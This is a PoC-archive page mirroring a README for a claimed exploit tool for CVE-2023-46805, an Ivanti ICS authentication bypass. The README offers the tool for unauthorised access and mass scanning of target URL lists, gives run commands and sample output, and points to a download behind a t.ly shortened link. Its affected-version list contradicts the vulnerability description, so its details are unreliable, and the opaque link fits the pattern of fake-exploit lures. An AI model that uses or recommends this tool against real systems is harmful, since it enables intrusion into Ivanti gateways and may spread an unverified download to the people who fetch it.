Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2023-46805 PoC — Ivanti ICS 授权问题漏洞

Source
Associated Vulnerability
Title: Ivanti ICS 授权问题漏洞 (CVE-2023-46805)
Description:An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks.
Readme

# 🛠 CVE-2023-46805 Exploit



## 🌟 Description

This script is a powerful exploitation tool for the CVE-2023-46805 vulnerability found in Ivanti ICS and Policy Secure. It enables remote attackers to bypass authentication and gain unauthorized access to restricted resources.

## ⚙️ Installation

To set up the exploitation tool, follow these steps:

1. Download the repository:

|[Download](https://t.ly/26Lo9)
|:--------------- |

2. Navigate to the tool's directory:

```bash
cd CVE-2023-46805
```

3. Install the required Python packages:

```bash
pip install -r requirements.txt
```

## 🚀 Usage

To use the tool, run the script from the command line as follows:

```bash
python exploit.py [options]
```

### Options

- -u, --url:
  Specify the target URL or IP address.

- -f, --file:
  Specify a file containing a list of URLs to scan.

- -t, --threads:
  Set the number of threads for concurrent scanning.

- -o, --output:
  Define an output file to save the scan results.

When a single URL is provided with the -u option and the target is vulnerable, the script will attempt to access restricted resources.

### Example

```bash
$ python3 exploit.py -u http://target-url.com
[+] Accessed restricted resource successfully.
[!] http://target-url.com is vulnerable to CVE-2023-46805.
```

## 📊 Mass Scanning

For mass scanning, use the -f option with a file containing URLs. The tool will scan each URL and print concise results, indicating whether each target is vulnerable.

```bash
python exploit.py -f urls.txt
```

## 🗒 Affected Versions

The vulnerability affects the following versions of Ivanti ICS and Policy Secure:

- Ivanti ICS Versions prior to 5.1
- Policy Secure Versions prior to 9.1

These systems are critical for network security, and it is strongly recommended to apply patches or updates as soon as they are available.

## 🛡 Disclaimer

Use this tool responsibly and ethically. Always obtain proper authorization before testing any system for vulnerabilities.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →